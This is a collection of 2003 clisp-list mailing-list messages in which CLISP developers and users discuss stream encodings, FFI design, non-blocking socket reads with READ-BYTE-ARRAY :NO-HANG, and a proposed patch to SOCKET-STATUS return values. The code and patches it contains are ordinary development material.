More precisely, there's no encoding which corresponds to *standard-output* per se, as it depends on the nature of the descriptor that stdout refers to.

*default-file-encoding* would apply to what's bound to *standard-output* if CLISP's output were redirected to a file.

Try
lisp.exe -B . -M lispinit.mem -x "(describe *standard-output*)" > test.txt
type test.txt
lisp.exe -B . -M lispinit.mem -x "(describe *standard-output*)"

You may get either
#<IO SYNONYM-STREAM *TERMINAL-IO*> is an input/output-stream.
#<OUTPUT BUFFERED FILE-STREAM CHARACTER @1> is an output-stream.

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Michael Koehne wrote:
>   So I think I need  some low level
> (system-read stream array) and (system-write stream array)
>  both returning an integer. I'll next read into ffi.

I should have mentioned this earlier, when we discussed READ-SOME/PARTIAL a while ago.
The FFI is not a reliable solution for writing into Lisp arrays.

Witness the code in unixaux.d *and* in win32aux.d:
  local int lowlevel_sock_read (SOCKET fd, void* buf, int nbyte)
      #if (defined(GENERATIONAL_GC) && defined(SPVW_MIXED)) || defined(SELFMADE_MMAP)
      # Must adjust the memory permissions before calling read().
      # - On SunOS4 a missing write permission causes the read() call to hang
      #   in an endless loop.
      # - With Linux 2.2 the read call returns with errno=EFAULT, but with
      #   unpredictable side side effects: If fd refers to a socket, some of
      #   the socket data gets lost.
      # The SunOS4 behaviour is clearly a bug, but the Linux 2.2 behaviour is
      # not. The POSIX spec says that read() returns with errno=EFAULT, but
      # does not specify anything about possible side effects.
      handle_fault_range(PROT_READ_WRITE,(aint)buf,(aint)buf+nbyte);
      #endif
      ... now recv() can be called on that buf[fer]

One's own FFI code obviously would not invoke handle_fault_range() to prepare the call to read() or write(). As a result, the code may fail on some systems.

Maybe you wouldn't bother because it may seem to work for you durign testing, but IMHO CLISP should provide portable ways of doing the reading reliably.

Of course, you could roll your own i/o *and* buffers with the FFI and not care about generational GC.

Hmm, this may also affect authors of hand-written modules.

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Moin Joerg-Cyril Hoehle, 

> I came to exactly the same conclusions!
  *cheer*
> >  A code calling socket-status and read-line is broken by design,
> Yes, since read-line will block until the line completes.
  a TCP packet could also contain several lines, most pipe packets are
  4069 bytes long and likely contain several lines,  ..., and lots of
  other race conditions.
  
  Rewriting read-line to work with socket-status, would have to code
  dozens of race conditions. Implementing IAC telnet options, within
  this read-line/socket-status combo, would add an other can of worms. 

> >  I think I need two low level lisp functions :
> >        (unix-read array &optional stream) => count; errno
> >        (unix-write array &optional stream) => count; errno
> Such a partial result only makes sense for the smallest entity:

  !NO! - think about 1000 users ;-( I want to read complete blocks,
  as they are, as they come - low level. So only !ONE! read() call
  per socket that has input. So i just need access to the low level
  read and write. To implement the logic in LISP.

  This logic would not follow the stream design pattern, of a process
  waiting for a line. It would be a scheduler sending line events to
  objects. So there wont be a read-line method of the stream but a
  process-line method of the object containing the socket.

> My feeling is that CLISP ought to implement simple streams natively.

  a simple stream means that there is 1 process waiting for read-line ?
  this already works - with one process and one stream at a time. 

> But rewriting stream.d (again) is a major undertaking.

  would this mean, that there wont be a socket-status but some ?

  (loop (create-process-with-socket (socket-accept server)
    (do-something-with-read-line)))

  does clisp has its internal multithreading ? or internal processes ?
  do they already work with streams in a way like above ?

> I'll look into providing a READ-SOME-BYTES hack that would only work
> on sockets (possibly pipes), and not bother at all about integration
> with the rest of stream.d.

  exactly: furthermore, sockets and pipes, who are used in socket-status
  should be tainted. This mean only socket-accept on server sockets and
  system-read-buffer/system-write-buffer could be used without warning.

> It's not that good an idea to write out a string using (format t "~A" #)
  when you expect to look at non-printable characters.

  *hm* whats the best way doing this ?

> READ-LINE will not let you distinguish them. That's its design. In Lisp,
> as in C, the line is conceptually terminated by #\newline (resp. \n in
> C). Whether OS conventions want something else(Mac)/more(DOS) should
> not matter to the programmer. That is the abstraction.

  now: rfc854 states, that #\newline is either "\r\n" or "\r\000" !

  In MUD context read-record return its buffer on "\r\n", "\r\000",
  "\377\371" or "\377\357". A corrosponding write-record would need
  a flag what kind of record termination is needed.

Bye Michael
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Hi!  I've been trying to run clisp on gentoo using the full image with
clx compiled in, but whenever I do I get this message:

bash-2.05b$ clisp -M /usr/lib/clisp/full/lispinit.mem
/usr/lib/clisp/base/lisp.run: initialization file was not created by
this version of LISP

Does anyone know what might be causing this problem?

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> * In message <20030122212121.88751.qmail@web12204.mail.yahoo.com>
> * On the subject of "[clisp-list] Help with compiling"
> * Sent on Wed, 22 Jan 2003 13:21:21 -0800 (PST)
> * Honorable C Y <smustudent1@yahoo.com> writes:
>
> Hi!  I've been trying to run clisp on gentoo using the full image with
> clx compiled in, but whenever I do I get this message:
> 
> bash-2.05b$ clisp -M /usr/lib/clisp/full/lispinit.mem
> /usr/lib/clisp/base/lisp.run: initialization file was not created by
> this version of LISP
> 
> Does anyone know what might be causing this problem?

you are running full/lispinit.mem with base/lisp.run.
try "clisp -K full".
see <http://clisp.cons.org/clisp.html#opt-link-set>

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--- Sam Steingold <sds@gnu.org> wrote:
> you are running full/lispinit.mem with base/lisp.run.
> try "clisp -K full".
> see <http://clisp.cons.org/clisp.html#opt-link-set>

Whoopsie.  Thanks Sam - worked perfectly.

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Hi,

for several years, CLISP's FFI has done quite a good job at hiding the =
internal representation of a foreign function or variable type =
specification.

External: (c-function (:name "name_in_C") (:arguments (foo c-pointer =
:out :none) ...) (:return-type ffi:int))

Internal: #<some vector>

Witness, FFI::parse-c-type and its converse ffi::deparse-c-type are not =
even documented or exported from the FFI package.

I believe this works well as long as most use of the FFI is static, =
like in static (and top-level) declarations =E0 la DEF-CALL-OUT.

I get headaches when it comes to dynamic stuff. Nevertheless, so far, I =
managed to provide a couple of macros (even more to come) to work =
around this and still hide the internals: e.g. WITH-C-VAR

But this comes at cost to implementors: Many, if not all functions must =
be duplicated, and calls to PARSE-C-TYPE inserted in between.
That's part of why there are macros, which do this, and Lisp function =
in foreign1.lisp as pure wrappers to built-in function in foreign.d.

I want to provide a dynamic foreign-function constructor (cf. =
alien-funcall etc. in CMUCL). It will be similar to:
(defun FOREIGN-ADDRESS-FUNCTION (address typespec &optional C-name)
  (ffi::%FOREIGN-ADDRESS-FUNCTION address (ffi::parse-c-type typespec) =
C-name))
Use e.g. in:
(funcall (foreign-address-function (foreign-address unix:unix-read) =
`(c-function (:arguments ((buffer (c-array uint16 ,len))) ...)))
 fd #(#xABDD #x1234 ...) ,len)
; contrieved example, don't do variable arrays this way (too much =
overhead)

I'm somewhat tired of these wrapping exercises.

As I want to avoid the overhead of PARSE-C-TYPE at run-time as much as =
possible, and most type declarations are static like (quote (c-function =
...)) anyway, there's room for either DEFINE-COMPILER-MACRO or macro =
based optimisations which would do constant folding in appropriate =
places. FOREIGN-ADDRESS-FUNCTION might end up as a macro (evaluating =
all arguments).

E.g. use of
(CAST var '(c-array character 32))
has a huge run-time overhead, which can be completely eliminated, using =
either LOAD-TIME-VALUE or by building the internal representation at =
compile-time (possible for all simlpe cases).


I wonder whether it should be better to
1) open the design:
2) document PARSE-C-TYPE and its converse, and present them like a =
typical MAKE-* constructor
3) Document the functions that operate on the internal representation =
only (all built-in functions) and
4) let the programmer insert PARSE-C-TYPE wher needed.

The goals I pursue are:
a) flexibility in the hands of the programmer (if needed)
b) compile-time optimisation
c) understandability

Thank you very much in case you're still reading this!

Regards,
	J=F6rg H=F6hle.


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Hi,

So far, CLISP managed more or less well to hide the FOREIGN-VARIABLE =
objects that the FFI uses for operations on foreign memory (e.g. CAST, =
DEREF, ELEMENT etc.).

I'm wondering whether it wouldn't be as easy to let programmers operate =
on FOREIGN-VARIABLE objects, rename FFI::%CAST to FFI:CAST* etc., =
document them and avoid
a) the below mentioned risk of dererencing when not intended and
b) half a dozen WITH- macrolet introducers.


So far, the user seemingly only manipulated variables (symbol macros =
defined via MACROLET), introduced via DEF-C-VAR or WITH-C-VAR.

This is fine with lexical scoping:
  (ffi:with-c-var (dest `(c-array uint8 ,destlen)) ; no init
    (multiple-value-bind (status actual)
        (zlib-compress-string (ffi:c-var-address dest) destlen source =
sourcelen)
      ...)

I nevertheless find it potentially dangerous, because when you pass the =
variable as an argument to any function, you instead dereference the =
whole foreign object.
(zlib-compress-string dest ...) ; WRONG
(zlib-compress-string (ffi:c-var-address dest) ...) ; RIGHT

The first form
a) creates a Lisp array of :element-type '(unsigned-byte 8) with =
:initial-contents taken from the address dest points to,
b) allocates again a foreign array on the stack,
c) fills it from the Lisp array and
d) passes that to the function (if type declarations would fit, which =
they do not in this particular case).


Maybe this shows why Bruno Haible doesn't consider the FFI - he =
designed himself back in 1995 - as a good match for todays =
objectoriented programming.
My feeling: the CLISP FFI can be made to match OO use. Otherwise I =
wouldn't have invested that much effort in it.

MIHO, with OO and/or foreign libraries, you pretty much work with =
references to foreign objects (that is what FOREIGN-VARIABLE objects =
are), instead of constantly converting foreign structures to similar =
looking Lisp structures. I need references to foreign objects. I don't =
want the X/MS/GDI window structure converted to a Lisp structure!
The latter is IMHO even dangerous, because EQ-ness is lost: EQUALP is =
not EQ!


Now consider
FOREIGN/SIMPLE-CALLOC type &key count read-only

This function will return a FOREIGN-VARIABLE object. So the result is =
currently unusable with any other documented FFI function, as these do =
not operate on that type of object (but on symbol macros instead).

So I must define yet another symbol-macro defining macro
WITH-FOREIGN-ADDRESS (var addresss &optional type) &body

This can be understood similar to CLOS' WITH-SLOTS: it makes the slots =
visible/accessible.

(setq memory (FOREIGN-CALLOC 'uint8 :count 50))

(with-foreign-address (buffer memory)
  (list buffer (element buffer 0))) ; return whole array (as Lisp =
array) and the first element (as fixnum)

So I can still mostly hide FOREIGN-VARIABLE objects and provide an =
interface still based on CAST, DEREF, ELEMENT that FFI users have known =
for long.

But I'm getting tired of all these macro wrappers: WITH-FOREIGN-OBJECT, =
WITH-C-VAR, WITH-FOREIGN-ADDRESS, WITH-FOREIGN-STRING and more to come.


And I still dislike the risk of automatic conversion with those symbol =
macros:
(with-foreign-address (buffer memory)
  (unix:unix-read fd buffer 50) ; WRONG again, need (c-var-address =
buffer)

Instead, I could provide a patch to FOREIGN-CALL-OUT to accept =
FOREIGN-VARIABLE objects in addition to FOREIGN-ADDRESS where C-POINTER =
type declarations have been specified. But that is just part of the =
iceberg.
  (unix:unix-read fd memory 50) ; WITH-SLOTS and buffer variable made =
superfluous

Thanks for your comments,
	J=F6rg H=F6hle.


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Date: Thu Jan 23 04:50:03 2003
X-Original-Date: Thu, 23 Jan 2003 13:47:44 +0100

Michael Koehne wrote:

>> It's not that good an idea to write out a string using 
>(format t "~A" #)
BTW, never use that. That's what PRINC can do directly
And (format nil "~A" x) is PRINC-TO-STRING or

	(WRITE-TO-STRING x :escape nil)
where you even can add many additional keywords like :base for *print-base* etc.
It's worth looking it up!


>  when you expect to look at non-printable characters.
>  *hm* whats the best way doing this ?
I recently used (format t "-~:C-") -> -a--Newline--a--Null--Bell-


>> >  I think I need two low level lisp functions :
>> >        (unix-read array &optional stream) => count; errno
>> >        (unix-write array &optional stream) => count; errno
>> Such a partial result only makes sense for the smallest entity:
>
>  !NO! - think about 1000 users ;-( I want to read complete blocks,
>  as they are, as they come - low level. So only !ONE! read() call
>  per socket that has input. So i just need access to the low level
>  read and write. To implement the logic in LISP.

I was unclear. READ-SOME-[8bit]BYTES does exactly that: one call. I was saying that there should be no READ-SOME-CHARS or above, as anything which can take more than 1 byte is causing headaches. There also was a thread in comp.lang.lisp last year about this.

Here I quote Duane Rettig (from Allegro CL fame) in comp.lang.lisp: Checking for EOF
>simple-streams offers a read-no-hang-p function to check _any_
>avaiability of data on the stream, including just one octet, whereas
>listen, stream-listen, and read-char-no-hang all try to build a
>character, and might end up either giving you a false end-of-file
>indication half-a-character early, or else never giving you an eof
>(each being consequenses of not being able to complete that last
>character).


>> My feeling is that CLISP ought to implement simple streams natively.
>  a simple stream means that there is 1 process waiting for read-line ?
It has nothing to do with processes. IMHO it's a layered API to composable streams, where the lowest-level works in terms of 8bit bytes and above everything is possible.
http://www.cliki.net/simple-stream
There was also a speak or tutorial on them at the recent intl. Lisp conference (ILC).

>  does clisp has its internal multithreading ? or internal processes ?
Not for the moment. There's also nothing similar to the cheap CMUCL functionality of input dispatchers (like in Emacs-Lisp): when waiting for input from the keyboard, CMUCL and Emacs check other fd/sockets for input and call handlers.

Regards,
	Jorg Hohle.


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Hi,

I just realized that these two functions - which have been in CLISP for =
a decade - are missing from impnotes.html.

They come in very handy when writing custom streams.

MAKE-BUFFERED-INPUT-STREAM can make a stream take input from a =
function, lazily!

MAKE-BUFFERED-OUTPUT-STREAM does line buffering on output. This =
enhances tiny write() pretty much.

I prefer to report this here instead of filing a bug-report, so people =
can start using them!

For example, MAKE-BUFFERED-INPUT-STREAM might work nicely together with =
non-blocking or single calls to read() on sockets and pipes(might need =
enhancement to return ls_wait status to the listen function).

A nice extension to the output behaviour would be to allow any kind of =
buffering, e.g. in 4KB chunks.

Both are limited to character streams. But see the cookbook on how to =
do arbitrary 8bit output using character streams.
http://cl-cookbook.sourceforge.net/io.html#faith

Regards,
	J=F6rg H=F6hle.


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There have been quite a few requests for read(2) interface.
It is now available in the CVS head.

when you call READ-BYTE-ARRAY with :NO-HANG T and the sequence being a
(VECTOR (UNSIGNED-BYTE 8)), it performs at most one read(2) call and
returns whatever is available:

> (setq s (socket-connect 21 "ftp.gnu.org" :element-type '(unsigned-byte 8)))
#<IO UNBUFFERED SOCKET-STREAM (UNSIGNED-BYTE 8) ftp.gnu.org:21>
> (setq v (make-array 20 :element-type '(unsigned-byte 8)))
#(0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0)
> (read-byte-sequence v s :no-hang t)
20
> (convert-string-from-bytes v charset:ascii)
"220 GNU FTP server r"
> (read-byte-sequence v s :no-hang t)
7
> (convert-string-from-bytes v charset:ascii :end 7)
"eady.
"
> (read-byte-sequence v s :no-hang t)
0


a similar interface to write(2), i.e., WRITE-BYTE-SEQUENCE :NO-HANG,
is trickier: it is not clear how WRITE-BYTE-SEQUENCE should indicate
incomplete output.  maybe an extra return value?
or maybe make it always return the same as READ-BYTE-ARRAY -
the number of elements processed?


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Moin Sam Steingold,

> There have been quite a few requests for read(2) interface.
> It is now available in the CVS head.

  thats a reason to stay up, even if i just came back from the pub.
  i needed the following straight forward patch (dont know why its
  missing in cvs current) to compile it :

cvs server: Diffing .
Index: lispbibl.d
===================================================================
RCS file: /cvsroot/clisp/clisp/src/lispbibl.d,v
retrieving revision 1.346
diff -c -r1.346 lispbibl.d
*** lispbibl.d  23 Jan 2003 22:39:30 -0000      1.346
--- lispbibl.d  25 Jan 2003 01:42:31 -0000
***************
*** 12617,12623 ****
  # > uintL len: length of byte sequence to be filled
  # < uintL result: number of bytes that have been filled
  # can trigger GC
! extern uintL read_byte_array (const gcv_object_t* stream_, const gcv_object_t* bytearray_, uintL start, uintL len);
  # is used by SEQUENCE
  
  # Function: Writes several bytes to a stream.
--- 12617,12625 ----
  # > uintL len: length of byte sequence to be filled
  # < uintL result: number of bytes that have been filled
  # can trigger GC
! extern uintL read_byte_array (const gcv_object_t* stream_,
!                               const gcv_object_t* bytearray_,
!                               uintL start, uintL len, bool no_hang);
  # is used by SEQUENCE
  
  # Function: Writes several bytes to a stream.

  and receive the following result on 'make check' installed it anyway,
  as this test did'nt looked like-my-bag ;-)

Test failed:
-rw-r--r--    1 kraehe   staff         571 Jan 25 03:01 strings.erg
To see which tests failed, type
    cat /home/kraehe/AIlang/clisp-cvs/clisp/src/suite/*.erg
make[1]: *** [compare] Error 1
make[1]: Leaving directory
`/bakunin/home/kraehe/AIlang/clisp-cvs/clisp/src/suite'
make: *** [testsuite] Error 2
bakunin:~/AIlang/clisp-cvs/clisp/src $ cat
/home/kraehe/AIlang/clisp-cvs/clisp/src/suite/*.erg

Form: (LET ((S (MAKE-ARRAY 10 :ELEMENT-TYPE 'CHARACTER :INITIAL-ELEMENT
#\a))) (LIST (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S)) (PROGN (SETF
(AREF S 3) (CODE-CHAR 12345)) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO
S))) (PROGN (GC) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S))) (PROGN
(SETF (AREF S 3) (CODE-CHAR 123456)) (MULTIPLE-VALUE-LIST
(SYSTEM::STRING-INFO S))) (PROGN (GC) (MULTIPLE-VALUE-LIST
(SYSTEM::STRING-INFO S)))))
CORRECT: ((8 NIL NIL) (16 NIL T) (16 NIL NIL) (32 NIL T) (32 NIL NIL))
CLISP  : ((8 NIL NIL) (16 NIL T) (16 NIL T) (32 NIL T) (32 NIL T))
bakunin:~/AIlang/clisp-cvs/clisp/src $ 

> when you call READ-BYTE-ARRAY with :NO-HANG T and the sequence being a
> (VECTOR (UNSIGNED-BYTE 8)), it performs at most one read(2) call and
> returns whatever is available:

  *cheer* this solved the read half of the problem
  *scratch* but not the eof half of the problem

    (defun mucl-test ()
      (format t "waiting for connect~%")
      (unless serv (setq serv (socket-server 5555)))
      (setq sock (socket-accept serv :element-type '(unsigned-byte 8)))
      (setq buff (make-array 256 :element-type '(unsigned-byte 8)))
      (format t "waiting for input~%")
      (dotimes (n 1000)
        (setq stat (socket-status (list serv (cons sock :input)) 0 500000))
        (format t "Status ~A~%" stat)
        (when (eq (cadr stat) :INPUT)
          (setq flag (read-byte-sequence buff sock :no-hang t))
          (format t "Line: (~A) Flag:(~A)~%" buff flag)
          (when (<= flag 0) (return)) )))

  this function works in so far, as now each read-byte-sequence
  is reading exactly the bytes that are there. Normal select()/read()
  polling would give a final select() condition with read()<=0,
  when the client closes its connection. Exactly this condition
  got lost somewhere. I think there must be some select() somewhere,
  that is silently called with the socket. But i walked the code down
  to read_helper in unixaux.d, and i was'nt able to see a select() that
  comes after the read() - so i'm clueless and tired now.

  a virtual beer,

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> * In message <20030125035627.GA11462@bakunin.copyleft.de>
> * On the subject of "Re: [clisp-list] READ-BYTE-ARRAY now accepts :NO-HANG keyword argument"
> * Sent on Sat, 25 Jan 2003 04:56:27 +0100
> * Honorable Michael Koehne <kraehe@copyleft.de> writes:
>
> ! extern uintL read_byte_array (const gcv_object_t* stream_,
> !                               const gcv_object_t* bytearray_,
> !                               uintL start, uintL len, bool no_hang);

oops!

> Form: (LET ((S (MAKE-ARRAY 10 :ELEMENT-TYPE 'CHARACTER :INITIAL-ELEMENT
> #\a))) (LIST (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S)) (PROGN (SETF
> (AREF S 3) (CODE-CHAR 12345)) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO
> S))) (PROGN (GC) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S))) (PROGN
> (SETF (AREF S 3) (CODE-CHAR 123456)) (MULTIPLE-VALUE-LIST
> (SYSTEM::STRING-INFO S))) (PROGN (GC) (MULTIPLE-VALUE-LIST
> (SYSTEM::STRING-INFO S)))))
> CORRECT: ((8 NIL NIL) (16 NIL T) (16 NIL NIL) (32 NIL T) (32 NIL NIL))
> CLISP  : ((8 NIL NIL) (16 NIL T) (16 NIL T) (32 NIL T) (32 NIL T))

this is known - we are waiting for Bruno to fix this...

> bakunin:~/AIlang/clisp-cvs/clisp/src $ 

who named your computer?!  bakunin was an anarchist, right?

>   *scratch* but not the eof half of the problem
> 
>     (defun mucl-test ()
>       (format t "waiting for connect~%")
>       (unless serv (setq serv (socket-server 5555)))
>       (setq sock (socket-accept serv :element-type '(unsigned-byte 8)))
>       (setq buff (make-array 256 :element-type '(unsigned-byte 8)))
>       (format t "waiting for input~%")
>       (dotimes (n 1000)
>         (setq stat (socket-status (list serv (cons sock :input)) 0 500000))
>         (format t "Status ~A~%" stat)
>         (when (eq (cadr stat) :INPUT)
>           (setq flag (read-byte-sequence buff sock :no-hang t))
>           (format t "Line: (~A) Flag:(~A)~%" buff flag)
>           (when (<= flag 0) (return)) )))
> 
>   this function works in so far, as now each read-byte-sequence
>   is reading exactly the bytes that are there. Normal select()/read()
>   polling would give a final select() condition with read()<=0,
>   when the client closes its connection. Exactly this condition
>   got lost somewhere. I think there must be some select() somewhere,
>   that is silently called with the socket. But i walked the code down
>   to read_helper in unixaux.d, and i was'nt able to see a select() that
>   comes after the read() - so i'm clueless and tired now.

I might not be answering your question (and I am still not sure what the
question is :-), but I observe that after I close the telnet connection
to clisp, the wait in socket-status disappears and it returns (NIL NIL)
immediately.  this is because, as select(2) man page says:

                                                             Those  listed  in
       readfds will be watched to see if characters become available for read-
       ing (more precisely, to see if a read will not block - in particular, a
       file  descriptor  is also ready on end-of-file), 

i.e., when I close telnet, SOCK receives end-of-file and select return
right away.

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SOCKET-STATUS is different from select(): it returns non-NIL when the
the corresponding operation would be successful.  I.e., it returns NIL
at EOF.
we can make SOCKET-STATUS distinguish between WAIT and EOF conditions
and return :IO/:INPUT/:APPEND/:EOF/:OUTPUT/:WAIT (6 possible replies
instead of 4).

please try the appended patch.

note that this change is __NOT__ backwards compatible.
if you do not like the change please do voice your opinion ASAP!

Another thing I always disliked about SOCKET-STATUS is that it conses up
a new list whenever it is called on a list of objects (the usual case
with most applications).
What about making it modify the list it accepts?
i.e., if the list is

        ((socket1 direction1)
         (socket1 direction2)
         ...)

then it will destructively modify it and return it like this:

        ((socket1 direction1 . status)
         (socket1 direction2 . status)
         ...)

then this same list can be passed to SOCKET-STATUS again.
this change will be backwards compatible because now the element of the
list must be a cons (socket . direction), so the new argument would
just signal an error on '(direction) being and invalid direction spec.
do people want it?

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--- stream.d.~1.337.~	2003-01-24 19:07:53.000000000 -0500
+++ stream.d	2003-01-25 11:41:35.000000000 -0500
@@ -14909,7 +14909,8 @@
   object sock = (consp(socket) ? (object)Car(socket) : socket);
   direction_t dir = (consp(socket)?check_direction(Cdr(socket)):DIRECTION_IO);
   SOCKET in_sock = INVALID_SOCKET, out_sock = INVALID_SOCKET;
-  bool char_p = true, rd = false, wr = false;
+  bool char_p = true, wr = false;
+  signean rd = ls_wait;
   stream_handles(sock,true,&char_p,
                  READ_P(dir)  ? &in_sock  : NULL,
                  WRITE_P(dir) ? &out_sock : NULL);
@@ -14917,17 +14918,17 @@
     if (FD_ISSET(in_sock,errorfds)) return S(Kerror);
     if (socket_server_p(sock))
       return FD_ISSET(in_sock,readfds) ? T : NIL;
-    rd = FD_ISSET(in_sock,readfds)
-      && (ls_avail_p(char_p ? listen_char(sock) : listen_byte(sock)));
+    if (FD_ISSET(in_sock,readfds))
+      rd = (char_p ? listen_char(sock) : listen_byte(sock));
   }
   if (out_sock != INVALID_SOCKET) {
     if (FD_ISSET(out_sock,errorfds)) return S(Kerror);
     wr = FD_ISSET(out_sock,writefds);
   }
-  if      ( rd && !wr) return S(Kinput);
-  else if (!rd &&  wr) return S(Koutput);
-  else if ( rd &&  wr) return S(Kio);
-  else                 return NIL;
+  if (ls_avail_p(rd)) return wr ? S(Kio)     : S(Kinput);
+  if (ls_eof_p(rd))   return wr ? S(Kappend) : S(Keof);
+  if (ls_wait_p(rd))  return wr ? S(Koutput) : S(Kwait);
+  NOTREACHED;
 }
 #undef READ_P
 #undef WRITE_P


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 > we can make SOCKET-STATUS distinguish between WAIT and EOF conditions
 > and return :IO/:INPUT/:APPEND/:EOF/:OUTPUT/:WAIT (6 possible replies
 > instead of 4).
Previous values were nil, io, input, output, error (5, not 4).
I gather io, input and output mean the same as before?
So nil,error now map to append, eof, wait?
Could you please tell us what those new values mean?
I suppose I should be able to tell from the diff ... if I knew
what all the c functions meant!

It looks like nil -> wait ?  
Under what circumstances does that occur?
(I never understood when nil would be returned either.)

It seems to me that a socket stream has two different eof's -
Each side can close the direction from itself (by sending a FIN).
Does append mean that you've reached eof on input but not output?
I suppose when both are closed then the stream is closed, and at
that point you get what value?  Before it would have been error?
I gather at least one goal here is to distinguish between not being
able to read/write temporarily vs permanently.  That would suggest
instead of encoding two values for each of two directions you want
three values for two directions, which already gives 9 values.
But then there's this funny nil/wait thing.  Is that also possible
in each direction (giving 16)? or just a 10'th value?

Of course, there's the whole can of worms with multibyte characters
to worry about, but I'll not even think about that yet.

 > note that this change is __NOT__ backwards compatible.
 > if you do not like the change please do voice your opinion ASAP!
Perhaps it could be made backward compatible?

 > Another thing I always disliked about SOCKET-STATUS is that it conses up
 > a new list whenever it is called on a list of objects (the usual case
 > with most applications).

On this one I agree.

 > What about making it modify the list it accepts?
 > i.e., if the list is
 > 
 >         ((socket1 direction1)
 >          (socket1 direction2)
 >          ...)
 > 
 > then it will destructively modify it and return it like this:
 > 
 >         ((socket1 direction1 . status)
 >          (socket1 direction2 . status)
 >          ...)
 > 
 > then this same list can be passed to SOCKET-STATUS again.

Good, then what you meant to say above was:

 if the list is
          ((socket1 direction1 . x) ...)
 it will replace x with the new status.



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Hi,

Sam wrote:
>when you call READ-BYTE-ARRAY with :NO-HANG T and the sequence being a
>(VECTOR (UNSIGNED-BYTE 8)), it performs at most one read(2) call and
>returns whatever is available:
There's progress.

No-hang is misleading, as it depends on the programmer having set non-blocking-mode on this socket. This is not strictly necessary when using select()/poll() loops. The call may well hang.


I believe the next thing that people will ask for is how to deal with multibyte encodings.

I think that EXT:CONVERT-STRING-FROM-BYTES should return an extra value (like PARSE-INTEGER) to indicate whether it could process everything (NIL, as for typical :END convention) or stopped earlier (index, as in PARSE-INTEGER, usable as :END or :START) because it hit an incomplete character.

So people could combine partial (or no-hang) reads and conversion to characters and produce correct sequences.

Note that this does not solve CRLF issues. Converting "A<CR>" can be considered complete (Mac style), but processing the following "<LF>B<CR><LF>" must not yield two lines.


>a similar interface to write(2), i.e., WRITE-BYTE-SEQUENCE :NO-HANG,
>is trickier: it is not clear how WRITE-BYTE-SEQUENCE should indicate
>incomplete output.  maybe an extra return value?
Sounds reasonable.
>or maybe make it always return the same as READ-BYTE-ARRAY -
>the number of elements processed?
That's too late, as this function has been available for many years and documented as returning the sequence. An extra value is the only option. Unless you introduce a new function, which is not your favourite choice (you prefer adding keywords).

Regards,
	Jorg Hohle.


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Hi,

the above is CLISP's documented behaviour, nevertheless I've got a =
feeling that it's wrong.

o Write to a stream :element-type 'character :external-format ... =
:line-terminator :dos
 -> CRLF is written out for each #\newline
o write to a stream :element-type '(unsigned-byte 8) using =
EXT:CONVERT-STRING-TO-BYTES because for some reason, you can't work =
with CLISP's character streams (lack of bivalence).
 -> <LF> is written out for each #\newline

That is, if you want to use :element-type '(unsigned-byte 8), you have =
to split the strings into separate lines and insert all CR and/or LF =
yourself!

OTOH, the current behaviour is consistent with the 1:1 restriction of =
the FFI: the foreign side only sees a single LF for each #\newline when =
FFI:C-STRING is used as a parameter or return type specification.
I'm wondering what is seen on a Mac.

Consistency with FFI means that (unix:ffi-write ... (c-array character =
type) ...) and (ext:write-byte-sequence (ext:convert-string-to-bytes =
#)) write the same thing: no CRLF, only LF.

The current behaviour makes it much less straightforward to roll one's =
own stream doing 8bit I/O.

Maybe that's a limitation of the internal mbs_*() library?

IMHO it would be nice to emulate CLISP's CR/LF conversion for character =
streams using convert-string-to-bytes.

The thing is: convert-string-to-bytes already takes a required =
:encoding argument. Why not use the :line-terminator embedded in that =
encoding?

Regards,
	J=F6rg H=F6hle.


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> * In message <15924.20395.270701.517255@isis.cs3-inc.com>
> * On the subject of "[clisp-list] proposed modifications to SOCKET-STATUS"
> * Sent on Sun, 26 Jan 2003 13:14:19 -0800
> * Honorable don-sourceforge@isis.cs3-inc.com (Don Cohen) writes:
>
>  > we can make SOCKET-STATUS distinguish between WAIT and EOF conditions
>  > and return :IO/:INPUT/:APPEND/:EOF/:OUTPUT/:WAIT (6 possible replies
>  > instead of 4).
> Previous values were nil, io, input, output, error (5, not 4).

:ERROR is different and it stays there, of course.

> I gather io, input and output mean the same as before?
yes.

> So nil,error now map to append, eof, wait?

no.  nil maps to :wait.
:error --> :error
:append was :output
:eof was nil.

> Could you please tell us what those new values mean?

:ERROR: next i/o will generate an error
:INPUT: only input is possible (or requested)
:OUTPUT: only output is possible (or requested)
:IO: both input and output are possible
:EOF: input --> EOF, output impossible or not requested
:APPEND: output possible, input --> EOF
:WAIT: both output & input --> hang (or not requested)

>  > note that this change is __NOT__ backwards compatible.
>  > if you do not like the change please do voice your opinion ASAP!
> Perhaps it could be made backward compatible?

no.  the granularity is now different, more situations are
discriminated between,

>  if the list is
>           ((socket1 direction1 . x) ...)
>  it will replace x with the new status.

yes.

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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE01869B39@G8PQD.blf01.telekom.de>
> * On the subject of "[clisp-list] READ-BYTE-ARRAY now accepts :NO-HANG keyword argument + RFE: how much could ext:convert-from-string process?"
> * Sent on Mon, 27 Jan 2003 11:27:00 +0100
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> Sam wrote:
> >when you call READ-BYTE-ARRAY with :NO-HANG T and the sequence being a
> >(VECTOR (UNSIGNED-BYTE 8)), it performs at most one read(2) call and
> >returns whatever is available:
> 
> No-hang is misleading, as it depends on the programmer having set
> non-blocking-mode on this socket.

it does not.

> I believe the next thing that people will ask for is how to deal with
> multibyte encodings.  I think that EXT:CONVERT-STRING-FROM-BYTES
> should return an extra value (like PARSE-INTEGER) to indicate whether
> it could process everything (NIL, as for typical :END convention) or
> stopped earlier (index, as in PARSE-INTEGER, usable as :END or :START)
> because it hit an incomplete character.

sounds reasonable.
I defer this to Bruno.

> >a similar interface to write(2), i.e., WRITE-BYTE-SEQUENCE :NO-HANG,
> >is trickier: it is not clear how WRITE-BYTE-SEQUENCE should indicate
> >incomplete output.  maybe an extra return value?
> Sounds reasonable.
> >or maybe make it always return the same as READ-BYTE-ARRAY -
> >the number of elements processed?
> That's too late, as this function has been available for many years
> and documented as returning the sequence. An extra value is the only
> option. Unless you introduce a new function, which is not your
> favourite choice (you prefer adding keywords).

returning the string is broken (and useless).
do people use WRITE-BYTE-SEQUENCE directly?
